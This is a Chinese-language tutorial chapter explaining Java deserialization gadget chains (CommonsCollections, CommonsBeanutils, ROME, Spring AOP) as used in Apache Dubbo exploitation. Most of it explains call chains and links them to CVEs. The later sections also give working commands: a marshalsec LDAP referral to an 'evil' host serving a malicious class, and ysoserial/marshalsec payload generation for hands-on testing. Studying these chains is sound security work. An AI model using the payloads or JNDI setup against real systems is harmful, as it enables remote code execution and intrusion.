经典 Gadget Chain 详解 — CC/CB/ROME/Spring AOP
本篇定位
详细分析 Dubbo 漏洞利用中最常见的 Gadget Chain
每条链包含:前置依赖 → 完整调用链 → 原理图解 → 代码示例
CommonsCollections1 (CC1)
前置条件
依赖:commons-collections:3.1(3.2.2 之前)
JDK:< 8u72(AnnotationInvocationHandler 在高版本中被修复)
完整调用链
1 | AnnotationInvocationHandler.readObject() |
核心组件解析
InvokerTransformer:通过反射调用任意方法的 Transformer
1 | // 简化逻辑 |
ChainedTransformer:将多个 Transformer 串联,上一个的输出是下一个的输入
1 | Transformer[] chain = new Transformer[] { |
LazyMap:当 get() 找不到 key 时,调用 Transformer 生成 value
1 | public Object get(Object key) { |
限制
依赖 AnnotationInvocationHandler,在 JDK 8u72 后修改了 readObject() 逻辑
CC6 解决了这个限制
CommonsCollections6 (CC6)
前置条件
依赖:commons-collections:3.1
JDK:不受限制(不依赖 AnnotationInvocationHandler)
完整调用链
1 | HashSet.readObject() |
为什么不受 JDK 版本限制
入口从 AnnotationInvocationHandler 换成了 HashSet + HashMap
HashMap.readObject() → hash(key) → key.hashCode() 这条路在所有 JDK 版本都存在
TiedMapEntry.hashCode() 会调用 getValue() → LazyMap.get() → 触发 Transformer
TiedMapEntry 关键代码
1 | // org.apache.commons.collections.keyvalue.TiedMapEntry |
CC6 的重要性
Dubbo CVE-2019-17564 的主要利用链之一
因为 Dubbo 服务常用 JDK 8 高版本,CC1 不可用,CC6 无此限制
CommonsBeanutils (CB 链)
前置条件
依赖:commons-beanutils:1.9.2(很多框架自带)
JDK:不限
完整调用链
1 | PriorityQueue.readObject() |
关键组件
PriorityQueue:优先队列,readObject() 时需要重建堆 → 调用 comparator.compare()
BeanComparator:按 Bean 属性比较两个对象 → 调用 PropertyUtils.getProperty()
TemplatesImpl:XSLT 模板类,内部有 _bytecodes 字段,调用 getOutputProperties() 时会加载并执行字节码
TemplatesImpl 详解
1 | // 攻击者构造的 TemplatesImpl 对象: |
恶意字节码的 static {} 块中放入 Runtime.getRuntime().exec("命令")
这是一种不通过反射、不通过 JNDI 的代码执行方式
CB 链的重要性
commons-beanutils 在 Spring/Dubbo 项目中极为常见
不依赖 commons-collections
CVE-2019-17564 和 CVE-2021-30179 都可以用 CB 链
ROME 链
前置条件
依赖:rome:1.0(RSS 解析库)
JDK:不限
完整调用链
1 | HashMap.readObject() |
核心组件
ObjectBean:ROME 库的通用 Bean 包装器
1 | public int hashCode() { |
EqualsBean:计算 Bean 的 hashCode
1 | public int beanHashCode() { |
ToStringBean:遍历 Bean 的所有 getter 方法并调用
1 | public String toString() { |
为什么 ROME 链对 Dubbo 至关重要?
入口是 hashCode(),不是 readObject()
Hessian2 反序列化 HashMap 时也会调用 hashCode()
所以 ROME 链同时适用于 Java 原生反序列化和 Hessian2 反序列化
是 Dubbo Hessian2 漏洞(CVE-2020-1948、CVE-2020-11995)的主要利用链
Spring AOP 链(重点)
为什么分析 Spring AOP 链?
Dubbo 项目几乎都依赖 Spring 框架
classpath 中一定有 spring-aop、spring-context
即使没有 rome 依赖,Spring AOP 链也可以利用
链一:SpringPartiallyComparableAdvisorHolder
前置条件
依赖:spring-aop + spring-context
需要 JNDI 可达(目标能访问攻击者的 LDAP 服务)
完整调用链
1 | HashMap.readObject() |
关键点
入口是 hashCode() → 可以被 Hessian2 触发
最终 Sink 是 JNDI lookup → 需要攻击者运行 LDAP/RMI 服务
攻击者控制 beanName 为 JNDI URL
链二:SpringAbstractBeanFactoryPointcutAdvisor
完整调用链
1 | HashMap.readObject() / Hessian2 MapDeserializer |
关键点
adviceBeanName 字段可以被攻击者在序列化数据中设置
当 BeanFactory.getBean() 被调用时,如果 BeanFactory 是 JNDI 相关实现,直接触发远程类加载
JNDI 注入配合(Spring AOP 链的 Sink)
1 | 攻击者搭建恶意 LDAP 服务: |
攻击者需要运行的工具:
marshalsec 的 LDAP 服务:java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://evil:8888/#Evil" 1389
HTTP 服务托管 Evil.class:python3 -m http.server 8888
Gadget Chain 总览对比
| 链名 | 入口方法 | Sink | 依赖 | Java原生 | Hessian2 |
|---|---|---|---|---|---|
| CC1 | readObject | 反射调用 Runtime.exec | commons-collections:3.1 | 是 | 否 |
| CC6 | readObject→hashCode | 反射调用 Runtime.exec | commons-collections:3.1 | 是 | 否 |
| CB | readObject(PriorityQueue) | TemplatesImpl 字节码 | commons-beanutils | 是 | 否 |
| ROME | hashCode→toString | TemplatesImpl 字节码 | rome | 是 | 是 |
| Spring AOP | hashCode→toString/getBean | JNDI 注入 | spring-aop | 是 | 是 |
| XBean | setter | JNDI lookup | xbean-naming | 否 | 是 |
核心区别:CC 系列入口是 readObject(),只能用于 Java 原生反序列化;ROME 和 Spring AOP 入口是 hashCode(),可以用于 Hessian2
动手练习
用 ysoserial 生成 CC6 payload,对一个启用了 HTTP 协议的 Dubbo 服务测试
1 | java -jar ysoserial.jar CommonsCollections6 "touch /tmp/cc6" > cc6.bin |
用 marshalsec 生成 ROME 链的 Hessian2 payload
1 | java -cp marshalsec.jar marshalsec.Hessian2 Rome "touch /tmp/rome" > rome_hessian.bin |
分析 TemplatesImpl 的源码,理解 _bytecodes 是如何被加载执行的
| 上一章 | 目录 | 下一章 |
|---|---|---|
| 01-Gadget-Chain原理 | Dubbo漏洞 | 03-Hessian2-Gadget-Chain |